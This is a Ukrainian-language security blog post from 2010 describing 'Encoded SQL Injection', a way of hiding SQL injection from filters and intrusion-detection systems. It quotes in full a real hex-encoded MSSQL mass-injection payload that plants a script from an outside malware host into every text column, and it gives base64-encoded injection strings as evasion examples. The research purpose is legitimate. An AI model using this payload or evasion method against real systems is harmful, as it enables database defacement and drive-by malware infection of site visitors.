Encoded SQL Injection уразливості

22:42 13.11.2010

В статті Просунуті методи SQL Smuggling, я згадав про Encoded SQL Injection - новий клас SQL Injection, що я виявив в 2009 році. Тобто це підклас SQL Injection уразливостей. І зараз я детально розповім про нього.

Торік, 17.05.2009, я знайшов SQLi уразливість, яку я відніс до нового типу SQL Injection - Encoded SQL Injection. Про Encrypted XSS (Encoded XSS) я вже згадував неодноразово, а в цій статті розповім про Encoded SQLi. В класифікації SQL Injection уразливостей (в 2008 році) я навів два типи SQLi - Reflected SQL Injection та Persistent SQL Injection. Так що Encoded SQL Injection буде третім типом.

Дані уразливості дозволяють обходити захисні системи - як вбудовані у веб додаток захистні фільтри, так і встановлені на сервері IDS, IPS та WAF системи. Тому я відніс даний тип SQL Injection уразливостей до просунутих методів SQL Smuggling.

Різновиди Encoded SQL Injection.

Існують наступні різновиди Encoded SQL Injection:

  • Частково закодовані SQLi.
  • Повністю закодовані SQLi.

Якщо перший різновид ще може бути виявлений деякими захисними системами (якщо вони налаштовані на відповідні оператори мови SQL), то другий різновид зовсім не буде виявленим сучасними захисними системами. Окрім тих систем, що підтримують декодування даного методу кодування.

Частково закодовані SQLi.

У випадку частково закодованих SQL Injection, дані, які передаються СУБД, кодуються лише частково. Це коли закодована лише деяка частина SQL коду (наприклад, через CAST). Кодування рядків для обходу фільтрації лапок сюди не відноситься.

Як у випадку наведеному в записі Encoded SQL Injection, де даний тип SQLi використовувався для атаки на один сайт (причому на звичайну SQLi уразливість):

DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E006900680061006F007200720031002E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC(@S);--

Повністю закодовані SQLi.

У випадку повністю закодованих SQL Injection, дані, які передаються СУБД, кодуються повністю. Тому весь SQL запит є закодованим (на рівні інтерфейсу) і лише на рівні веб додатку від декодується для передачі СУБД. Зокрема у варіанті закодованого SQL Injection, що я знайшов торік, використовується base64 кодування.

Коли веб додаток використовує base64-рядки для передачі значень веб додатку, це може бути використаним для проведення Encoded SQLi атак.

Наприклад, рядок ‘ or 1=1# стане JyBvciAxPTEj. А рядок ‘ and 1=’1 стане JyBhbmQgMT0nMQ==.

І на рівні зовнішніх захисних систем, що не підтримують декодування даних, які передаються веб додатку, ці та інші закодовані рядки не викличуть жодних підозр. Тому встановлені на сервері IDS, IPS та WAF системи не зможуть виявити дані атаки (та й в логах їх просто так не виявиш). І дані атаки успішно пройдуть, обійшовши захисні системи.


Одна відповідь на “Encoded SQL Injection уразливості”

  1. MustLive каже:

    You can read this article on English: Encoded SQL Injection vulnerabilities.

Leave a Reply

You must be logged in to post a comment.